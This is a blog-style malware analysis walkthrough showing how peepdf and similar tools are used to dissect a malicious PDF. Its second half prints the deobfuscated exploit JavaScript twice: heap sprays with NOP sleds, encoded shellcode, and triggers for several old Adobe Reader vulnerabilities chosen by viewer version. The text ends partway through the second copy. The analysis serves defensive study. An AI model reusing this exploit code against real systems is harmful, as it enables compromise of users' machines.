Analyzing Malicious PDFs Documents

Kamran Saifullah
13 min readMar 7, 2022

This article has been co-authored by.

1. Mr. Waqas Haider — Chief Information Security Officer — HBL MicroFinance Bank

2. Mr. Muhammad Ali – Manager GRC – Telenor MicroFinance Bank (EasyPaisa)

Introduction

PDF Files have been used by adversaries for years due to the functionalities it provides. Adversaries can add JavaScript, Embed Files, Embed Shellcodes etc. within a single PDF File. Due to the reason for being used widely around the globe PDFs are prone to many vulnerabilities and exploits. Adversaries are taking advantage of the same to get initial access into enterprises.

In this article we will be diving deep into PEEPDF, MPEEPDF (tools based on python) along with some other commonly and freely available open source softwares/scripts to analyze a malicious PDF file.

As always, we should at first calculate the hashes of the malicious file, because we don’t want to have them shared around. We need to always keep in mind that attack can be specific to your organization only. Thus, at first we need to gather as much detail as we can, take necessary actions and precautions before sharing the intelligence with others.

In order to calculate the hashes we will be using HASHER (An automated offline hash calculation tool written in Python3).

https://github.com/deFr0ggy/HASHER

It is recommended to atleast have a basic understanding of the PDF File Structure. But, keeping it simple we need to know the following.

  1. Each PDF File has its header.
  2. Each PDF File can have MetaData (It can be removed as well).
  3. Data is stored in Objects and Streams (Investigation Points).

Building Basics

In order to understand the overall structure of the PDF File, we can use PDFID. Which checks and provides us with all the sections of the PDF file.

The important things to note from the output are:

  1. /Encrypt → Total numbers of objects/sections encrypted.
  2. /JS → Total number of section containing the JS code.
  3. /JavaScript → Total number of section containing the JS code.
  4. /OpenAction → Points to the code which will be run when the PDF will be opened.
  5. /AA → This points to the defined additional triggers.

We can also read the MetaData of the file by using PDFMETADATA which in our case returns an error. Proving that something is wrong with the PDF file.

Moving further, let’s utilize PeePDF to perform thorough analysis of the PDF file. After supplying the PDF file to PeePDF in an interactive mode, we can observe that it returned an error. It is common for malformed PDF file.

We can use the force mode mode to open the file in an interactive mode. We can observe that it has been loaded in an interactive mode. PeePDF has provided us with loads of information.

  1. Hash Calculation
  2. Size of the PDF document
  3. PDF Version
  4. Encryption Status
  5. Total Objects
  6. Total Streams
  7. URIs
  8. Comments
  9. Errors
  10. Vulnerabilities (CVEs) if any.

The CVE is basically a memory corruption vulnerability in getAnnots Doc method in the JavaScript API. The adversaries have taken the leverage of the same vulnerability. It means that is going to be an exploit code embedded within the PDF

We can supply metadata command within the PPDF terminal to gather metadata information. Key details to note are the Author Details, The Creation Date and any information which can reveal which software was used to create this document.

While the tree command provides with with the current directory structure of the PDF file under analysis.

It is to be noted that in force mode, we have ingnored all the error messages. PeePDF allows us to analyze the PDF using loose mode. This is to highlight any missed objects/streams.

The main difference between the two screenshots is:

  1. Object 21 was missing and was not highlighted during the force mode.
  2. /EmbeddedFile element was missing and was not highlighted during the force mode.

Loose mode has helped us cross-check the missing elements. Our main focus is towards finding and analyzing /JS, /JavaScript. The locations for /JS is 4 and for /JavaScript is 4 as well. We can use the object command to locate the details within these location.

We can observe that Object 4 points to Object 5.

So, we will check for Object 5 using the same command. We can observe that there is a JavaScript code embedded within this object.

We can use js_beautify command to beautify the code for better understanding. We can observe that this PDF used annotations and possibility this PDF is vulnerable to getAnnots vulnerability.

Finally, we will save the code in text file for later analysis.

De-Obfuscating The Obfuscated JS Code

As we found the JS code and it does not makes any sense due to the variable names and the naming conventions being used. So, we will try to deobfuscate the code.

Manually, renaming the variables as per our own understanding yield a good code which now makes sense.

We can align the code as per the logic.

Shrinking the code to the level it can’t be shrinked anymore. Finally the code has started to clear up the picture for us.

So what happening here is the code is building up an eval function to execute the shell code which is hiding within the Annotation.

  • app.doc.syncAnnotScan() → Scans for all existing annotations objects.
  • app.doc.getAnnots() → Fetches and returns the existing annotation objects.

Finding The Annotations

Using the tree command we can look for the Annot Object Locations. Which in our case is as follows:

  1. Annot 24
  2. Annot 6
  3. Annot 8

Now we will query each Annot Object to find more information.

Annot 6

Object 6 points to Object 7.

Object 7 includes an encoded data possibly encoded JS Code or Payload.

Annot 8

Object 8 points to Object 9.

Object 9 includes an encoded data possibly encoded JS Code or Payload.

Annot 21

There is an embedded Image within Annot 21. So, we will focus on Annot 7 and Annot 8.

Locating The Info and Title

We have previously observed that the JS code is building locations for Info and Title. So using the info command we can locate the object location of Info which in our case is 11.

Now we need to find what is stored in Object 11. Here we can observe that it is pointing to Object 10 which is of Title.

Locating the Object 11 provides us with the obfuscated code which is being split and replaced in the first level of JS code.

Decoding The Stage 1

From the JS code we have observed that (U_155bf62c9aU_7917ab39) was being split. Replacing it with nothing gives us Hex values, decoding which we can finally have a stage 2 JS code.

Now all we need is to decode the Hex values into ASCII. We can use online tools as well as a python script as well.

Here we can observe that, there is another JS code.

Beautifying the code helps us understand the code in a better way. Here we can observe that this JS code is basically decoding the other two ecoded payloads.

Let’s decode them one by one. At first we will decode the obfuscated code from Object 9. Replacing the (X_17844743X_170987743) with % provides us with the following.

Removing the % and decoding the hex values provides us with another code which are the actual exploit codes/shell codes.

var w = new String();
var c = app;
function s(yarsp, len) {
while (yarsp.length * 2 < len) {
yarsp += yarsp;
this.x = false;
}
var eI = 37715;
yarsp = yarsp.substring(0, len / 2);
return yarsp;
var yE = 18340;
}
var m = new String("");
function cG() {
var chunk_size, payload, nopsled;

chunk_size = 0x8000;
// calc.exe payload
payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90");
nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 2500 ; i++)
heap_chunks[i] = nopsled + payload;
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
var iF = function() {};
function cN() {
var o = "o";
// freecell.exe payload
var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d");
this.dN = "";
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var hW = new String();
var heapblock = nop + payload;
this.qA = "qA";
var bigblock = unescape("%u0A0A%u0A0A");
this.alphaY = 12267;
var headersize = 20;
var spray = headersize + heapblock.length;
var jZ = '';
var jY = "";
while (bigblock.length < spray) {
this.r = "r";
bigblock += bigblock;
var edit = "edit";
}
this.xGoogle = '';
this.vY = false;
var fillblock = bigblock.substring(0, spray);
var iP = function() {};
var block = bigblock.substring(0, bigblock.length - spray);
var googleD = false;
this.fUEdit = "";
while (block.length + spray < 0x40000) {
block = block + block + fillblock;
this.bJ = '';
}
var googleQ = '';
this.nW = '';
var mem_array = new Array();
var cH = new String();
var nVO = new String("");
for (var i = 0; i < 1400; i++) {
mem_array[i] = block + heapblock;
var sQ = new String("");
}
var wC = '';
var num = 1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888

Finally we will decode the Object 7 data i.e. by replacing (89af50d) with a space and using the same python script to decode the hex values.

;
this.bC = 3699;
util.printf("%45000f", num);
}
var eQ = "";
function gX() {
var basicZ = '';
// notepad.exe payload
var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae");
var mem_array = new Array();
this.googleBasicR = "";
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len + 0x38);
var yarsp = unescape("%u9090%u9090");
this.eS = "eS";
yarsp = s(yarsp, len);
var count2 = (cc - 0x400000) / addr;
this.rF = false;
this.p = "p";
for (var count = 0; count < count2; count++) {
mem_array[count] = yarsp + shellcode;
}
var bUpdate = new String("");
var overflow = unescape("%u0c0c%u0c0c");
var cP = function() {};
this.gD = "";
while (overflow.length < 44952) {
this.tO = "";
overflow += overflow;
}
var adobeD = new String();
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: overflow
});
}
function updateE() {
var xI = new String("");
if (c.doc.Collab.getIcon) {
var arry = new Array();
// cmd.exe payload
var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a");
var updateX = 39796;
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var zAdobe = "";
var yarsp = unescape("%u9090%u9090");
var dU = "";
yarsp = s(yarsp, len);
this.zAdobeK = "";
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
var aG = new Date();
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
var lBasic = "";
arry[vqcQD96y] = yarsp + vvpethya;
var u = "";
}
var iAlpha = function() {};
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000) {
this.gN = false;
tUMhNbGw += tUMhNbGw;
}
var hV = new String("");
var nVE = function() {};
tUMhNbGw = "N." + tUMhNbGw;
c.doc.Collab.getIcon(tUMhNbGw);
}
this.wZ = 44811;
}
var hO = new String("");
function nO() {
this.iR = false;
var version = c.viewerVersion.toString();
var zH = '';
version = version.replace(/D/g, '');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 &&
varsion_array[2] < 3)) {
cN();
}
this.wN = "";
var aQ = new String("");
if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] <
2)) {
gX();
}
var vEdit = "";
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)) {
updateE();
}
var eH = function() {};
var eSJ = new Function();
cG();
var vUpdate = false;
}
var basicU = new Date();
this.updateO = false;
nO();
var mUpdate = function() {};

So, the payloads were split up and were placed at different locations. The final JS code which will be executed is as below.

var w = new String();
var c = app;
function s(yarsp, len) {
while (yarsp.length * 2 < len) {
yarsp += yarsp;
this.x = false;
}
var eI = 37715;
yarsp = yarsp.substring(0, len / 2);
return yarsp;
var yE = 18340;
}
var m = new String("");
function cG() {
var chunk_size, payload, nopsled;

chunk_size = 0x8000;
// calc.exe payload
payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90");
nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 2500 ; i++)
heap_chunks[i] = nopsled + payload;
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
var iF = function() {};
function cN() {
var o = "o";
// freecell.exe payload
var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d");
this.dN = "";
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var hW = new String();
var heapblock = nop + payload;
this.qA = "qA";
var bigblock = unescape("%u0A0A%u0A0A");
this.alphaY = 12267;
var headersize = 20;
var spray = headersize + heapblock.length;
var jZ = '';
var jY = "";
while (bigblock.length < spray) {
this.r = "r";
bigblock += bigblock;
var edit = "edit";
}
this.xGoogle = '';
this.vY = false;
var fillblock = bigblock.substring(0, spray);
var iP = function() {};
var block = bigblock.substring(0, bigblock.length - spray);
var googleD = false;
this.fUEdit = "";
while (block.length + spray < 0x40000) {
block = block + block + fillblock;
this.bJ = '';
}
var googleQ = '';
this.nW = '';
var mem_array = new Array();
var cH = new String();
var nVO = new String("");
for (var i = 0; i < 1400; i++) {
mem_array[i] = block + heapblock;
var sQ = new String("");
}
var wC = '';
var num = 1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
this.bC = 3699;
util.printf("%45000f", num);
}
var eQ = "";
function gX() {
var basicZ = '';
// notepad.exe payload
var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae");
var mem_array = new Array();
this.googleBasicR = "";
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len + 0x38);
var yarsp = unescape("%u9090%u9090");
this.eS = "eS";
yarsp = s(yarsp, len);
var count2 = (cc - 0x400000) / addr;
this.rF = false;
this.p = "p";
for (var count = 0; count < count2; count++) {
mem_array[count] = yarsp + shellcode;
}
var bUpdate = new String("");
var overflow = unescape("%u0c0c%u0c0c");
var cP = function() {};
this.gD = "";
while (overflow.length < 44952) {
this.tO = "";
overflow += overflow;
}
var adobeD = new String();
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: overflow
});
}
function updateE() {
var xI = new String("");
if (c.doc.Collab.getIcon) {
var arry = new Array();
// cmd.exe payload
var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a");
var updateX = 39796;
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var zAdobe = "";
var yarsp = unescape("%u9090%u9090");
var dU = "";
yarsp = s(yarsp, len);
this.zAdobeK = "";
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
var aG = new Date();
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
var lBasic = "";
arry[vqcQD96y] = yarsp + vvpethya;
var u = "";
}
var iAlpha = function() {};
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000) {
this.gN = false;
tUMhNbGw += tUMhNbGw;
}
var hV = new String("");
var nVE = function() {};
tUMhNbGw = "N." + tUMhNbGw;
c.doc.Collab.getIcon(tUMhNbGw);
}
this.wZ = 44811;
}
var hO = new String("");
function nO() {
this.iR = false;
var version = c.viewerVersion.toString();
var zH = '';
version = version.replace(/D/g, '');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 &&
varsion_array[2] < 3)) {
cN();
}
this.wN = "";
var aQ = new String("");
